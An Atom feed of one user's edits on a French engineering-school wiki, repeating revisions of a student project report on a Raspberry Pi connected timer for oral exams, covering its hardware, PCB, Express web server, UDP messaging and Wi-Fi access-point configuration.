<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Mcreteur</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Mcreteur"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Mcreteur"/>
		<updated>2026-04-24T12:49:24Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49619</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49619"/>
				<updated>2019-01-26T18:41:12Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Documents rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance, nous avons également établit une liste du matériel que nous utiliserons : une Raspberry pi pour faire tourner le serveur accessible en wifi, un transformateur 230VAC vers 5VDC pour alimenter la Raspberry, des afficheurs 7-segments, et un driver de leds pour utiliser le moins de sortie possible.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
&lt;br /&gt;
===Structuration du projet===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, des afficheurs 7-segments nous ont été fournis. Cependant, ils présentent la particularité d'être alimenté avec 12V. Les alimenter directement par la Raspberry qui elle peut fournir 5V n'est donc pas possible. &lt;br /&gt;
&lt;br /&gt;
Nous anons essayé de trouver une solution pour le contrôle des LED. Nous en avons retenu deux : &lt;br /&gt;
&lt;br /&gt;
- Utiliser des pilotes de LED [http://www.ti.com/lit/ds/symlink/tlc5947.pdf TLC5947] &lt;br /&gt;
&lt;br /&gt;
- Utiliser des transistors&lt;br /&gt;
&lt;br /&gt;
Nous avons alors décidé de partir sur les pilotes de LED pour plus de simplicité, ces derniers gérant eux mêmes le courant fournis aux LED. Après avoir pris cette décision, nous avons débuté la conception de la carte sous Eagle. Nous avons choisi ce logiciel car les toutes les footprint des composants utilisés sont disponibles sur le net.&lt;br /&gt;
&lt;br /&gt;
Nous avons également pu trouver des bibliothèques python pour utiliser le pilote de leds, et commencer le programme. Nous utiliserons deux pilotes de leds en cascade que nous contrôlerons avec 3 GPIO de la Raspberry. Nous avons également prévu de rajouter un ATMega328p qui pourra lui aussi contrôler les pilotes si on modifie la position de trois jumper. L'ATMega sera relié à la Raspberry en série pour qu'il puissent être programmé à travers elle.&lt;br /&gt;
&lt;br /&gt;
Pour alimenter le device, nous avons ajouté à notre liste de matériel un transformateur 230VAC vers 12VDC pour alimenter les leds ainsi qu'un régulateur 12VDC vers 5VDC pour alimenter la Raspberry (2A). Ensuite la Raspberry se chargera d'alimenter les pilote de leds et l'ATMega328p.&lt;br /&gt;
&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
Durant cette séance nous avons finalisé le routage de la carte électronique suivant le circuit précédemment définit, et nous avons installé les librairies nécessaire à la programmation des pilotes de leds.&lt;br /&gt;
&lt;br /&gt;
Nous avons également testé les 7-segments qui nous ont été fournit, et nous nous sommes rendus compte qu'ils étaient à cathode commune et donc fonctionnaient différemment de ce qui était indiqué sur la datasheet. Cela pose un problème puisque les pilotes de LED dont nous disposons ne sont pas compatibles avec cette configuration. Nous avons donc du nous tourner vers l'autre solution pour le contrôle des leds, celle avec les transistors. Disposant de 4 afficheurs à 7segments (+ le point), les GPIO de la Raspberry ne sont pas assez nombreux, nous avons donc du utiliser des registre à décalage pour contrôler toutes les sorties.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors passé cette séance à étudier les datasheet des différents composants et à établir un nouveau schéma pour la carte.&lt;br /&gt;
&lt;br /&gt;
Les afficheurs 7-segments de devant ayant à afficher la même chose que ceux de derrière, nous les connecterons entre eux afin réduire de moitié la quantité de composants à utiliser.&lt;br /&gt;
&lt;br /&gt;
===programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Durant cette séance, nous avons également pensé au soft qui sera embarqué dans la Raspberry. Nous avions décidé de configurer la Raspberry en accesspoint WiFi et de faire tourner un serveur web qui sera accessible lorsque l'utilisateur se connectera au WiFi de la Raspberry. En parallèle, un autre programme tournera sur la Raspberry et s'occupera du calcul du Timer et du contrôle des leds. Pour que le programme puisse communiquer avec le serveur nous avons plusieurs solutions à étudier : IPC, socket, écriture/lecture dans des fichiers.&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû nous renseigner sur son fonctionnement et nous documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, nous avons pu terminer la carte. Le schematic final est le suivant : &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchematicP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le PCB est le suivant : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RoutageP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Gravure de la carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;br /&gt;
&lt;br /&gt;
===Programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance nous avons également finalisé le programme de la Raspberry et installé les librairies permettant d'utiliser le registre à décalage et les GPIO &amp;lt;code&amp;gt;WiringPi&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans ce programme, après les initialisations, une socket UDP est créée pour recevoir la valeur initiale du Timer depuis le serveur web. La socket est par la suite fermée et le message reçu converti en entier. Puis deux threads sont lancés : Le premier qui permet le calcul du Timer en se basant sur la valeur initiale et en utilisant l'horloge physique de la Raspberry (fonction : &amp;lt;code&amp;gt;clock_gettime(CLOCK_REALTIME, &amp;amp;&amp;lt;timespec&amp;gt;);&amp;lt;/code&amp;gt;), le deuxième thread contrôle les 7-segements après l'avoir parsé en unités et dizaines. Les deux threads communiquent entre eux avec un pipe et un système de verrou pour synchroniser l'envoi et la réception. Finalement les threads et le pipe sont fermés proprement.&lt;br /&gt;
&lt;br /&gt;
Ce programme affiche les valeurs supérieures à 99 secondes en minutes et celle inférieures à 99 secondes en seconde. Le programme et disponible sur le git : https://github.com/ael-mess/raspberry-pi-timer/blob/master/pi.c&lt;br /&gt;
&lt;br /&gt;
==Séance 6==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons combiné les deux programmes, et automatisé leur lancement. Nous avons créé un script shell qui lance le serveur web, puis dans une boucle infinie lance le Timer puis supprime les fichiers .json du controller du serveur web à la fin de chaque timer. Ce script a été mis dans &amp;lt;code&amp;gt;/etc/.rclocal&amp;lt;/code&amp;gt; de la Raspberry en tache de fond, pour qu'il puissent être lancé à chaque allumage de la Raspberry même avant le loging.&lt;br /&gt;
&lt;br /&gt;
===Test===&lt;br /&gt;
&lt;br /&gt;
Pendant cette dernière séance nous avons également soudé une partie de nos composants pour faire des tests. Le test de la partie électronique à révélé un comportement anormal du circuit : des segments de leds restent allumés sans qu'aucune tension sur la base des transistors ne soit appliquée. Nous nous sommes assurés de corriger toutes les erreurs de soudure/contact mais nous n'avons pas pu trouver la source du problème. L’hypothèse qui a été émise est que la carte n'aillant pas été nettoyé avant la soudure, le contact n'était pas pareil pour tous les composants, et que donc le potentiel entre deux points reliés n'était pas identique (M.Thierry Flamen).&lt;br /&gt;
&lt;br /&gt;
La partie logiciel elle, marche très bien sans aucun comportement anormal.&lt;br /&gt;
&lt;br /&gt;
===Amélioration si plus temps===&lt;br /&gt;
&lt;br /&gt;
- prendre plus de temps pour réaliser et tester la partie hardware.&lt;br /&gt;
&lt;br /&gt;
- utiliser la socket pour l'envoie de chaque valeur du timer et non que pour la valeur initial. (parce que le timer calculé par le serveur web utilise la date de la Raspberry et n'est pas précis)&lt;br /&gt;
&lt;br /&gt;
==Flyer==&lt;br /&gt;
[[Fichier:Flyer timer iot.jpeg|800px|center]]&lt;br /&gt;
&lt;br /&gt;
=Documents rendus=&lt;br /&gt;
&lt;br /&gt;
* [[Fichier:Timer IOT Web.zip]]&lt;br /&gt;
* https://github.com/ael-mess/raspberry-pi-timer/blob/master/pi.c&lt;br /&gt;
* [[Media:CarteElectroniqueIOTp4.zip|Fichiers carte électronique]]&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:CarteElectroniqueIOTp4.zip&amp;diff=49618</id>
		<title>Fichier:CarteElectroniqueIOTp4.zip</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:CarteElectroniqueIOTp4.zip&amp;diff=49618"/>
				<updated>2019-01-26T18:38:18Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49617</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49617"/>
				<updated>2019-01-26T18:33:18Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Documents rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance, nous avons également établit une liste du matériel que nous utiliserons : une Raspberry pi pour faire tourner le serveur accessible en wifi, un transformateur 230VAC vers 5VDC pour alimenter la Raspberry, des afficheurs 7-segments, et un driver de leds pour utiliser le moins de sortie possible.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
&lt;br /&gt;
===Structuration du projet===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, des afficheurs 7-segments nous ont été fournis. Cependant, ils présentent la particularité d'être alimenté avec 12V. Les alimenter directement par la Raspberry qui elle peut fournir 5V n'est donc pas possible. &lt;br /&gt;
&lt;br /&gt;
Nous anons essayé de trouver une solution pour le contrôle des LED. Nous en avons retenu deux : &lt;br /&gt;
&lt;br /&gt;
- Utiliser des pilotes de LED [http://www.ti.com/lit/ds/symlink/tlc5947.pdf TLC5947] &lt;br /&gt;
&lt;br /&gt;
- Utiliser des transistors&lt;br /&gt;
&lt;br /&gt;
Nous avons alors décidé de partir sur les pilotes de LED pour plus de simplicité, ces derniers gérant eux mêmes le courant fournis aux LED. Après avoir pris cette décision, nous avons débuté la conception de la carte sous Eagle. Nous avons choisi ce logiciel car les toutes les footprint des composants utilisés sont disponibles sur le net.&lt;br /&gt;
&lt;br /&gt;
Nous avons également pu trouver des bibliothèques python pour utiliser le pilote de leds, et commencer le programme. Nous utiliserons deux pilotes de leds en cascade que nous contrôlerons avec 3 GPIO de la Raspberry. Nous avons également prévu de rajouter un ATMega328p qui pourra lui aussi contrôler les pilotes si on modifie la position de trois jumper. L'ATMega sera relié à la Raspberry en série pour qu'il puissent être programmé à travers elle.&lt;br /&gt;
&lt;br /&gt;
Pour alimenter le device, nous avons ajouté à notre liste de matériel un transformateur 230VAC vers 12VDC pour alimenter les leds ainsi qu'un régulateur 12VDC vers 5VDC pour alimenter la Raspberry (2A). Ensuite la Raspberry se chargera d'alimenter les pilote de leds et l'ATMega328p.&lt;br /&gt;
&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
Durant cette séance nous avons finalisé le routage de la carte électronique suivant le circuit précédemment définit, et nous avons installé les librairies nécessaire à la programmation des pilotes de leds.&lt;br /&gt;
&lt;br /&gt;
Nous avons également testé les 7-segments qui nous ont été fournit, et nous nous sommes rendus compte qu'ils étaient à cathode commune et donc fonctionnaient différemment de ce qui était indiqué sur la datasheet. Cela pose un problème puisque les pilotes de LED dont nous disposons ne sont pas compatibles avec cette configuration. Nous avons donc du nous tourner vers l'autre solution pour le contrôle des leds, celle avec les transistors. Disposant de 4 afficheurs à 7segments (+ le point), les GPIO de la Raspberry ne sont pas assez nombreux, nous avons donc du utiliser des registre à décalage pour contrôler toutes les sorties.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors passé cette séance à étudier les datasheet des différents composants et à établir un nouveau schéma pour la carte.&lt;br /&gt;
&lt;br /&gt;
Les afficheurs 7-segments de devant ayant à afficher la même chose que ceux de derrière, nous les connecterons entre eux afin réduire de moitié la quantité de composants à utiliser.&lt;br /&gt;
&lt;br /&gt;
===programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Durant cette séance, nous avons également pensé au soft qui sera embarqué dans la Raspberry. Nous avions décidé de configurer la Raspberry en accesspoint WiFi et de faire tourner un serveur web qui sera accessible lorsque l'utilisateur se connectera au WiFi de la Raspberry. En parallèle, un autre programme tournera sur la Raspberry et s'occupera du calcul du Timer et du contrôle des leds. Pour que le programme puisse communiquer avec le serveur nous avons plusieurs solutions à étudier : IPC, socket, écriture/lecture dans des fichiers.&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû nous renseigner sur son fonctionnement et nous documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, nous avons pu terminer la carte. Le schematic final est le suivant : &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchematicP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le PCB est le suivant : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RoutageP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
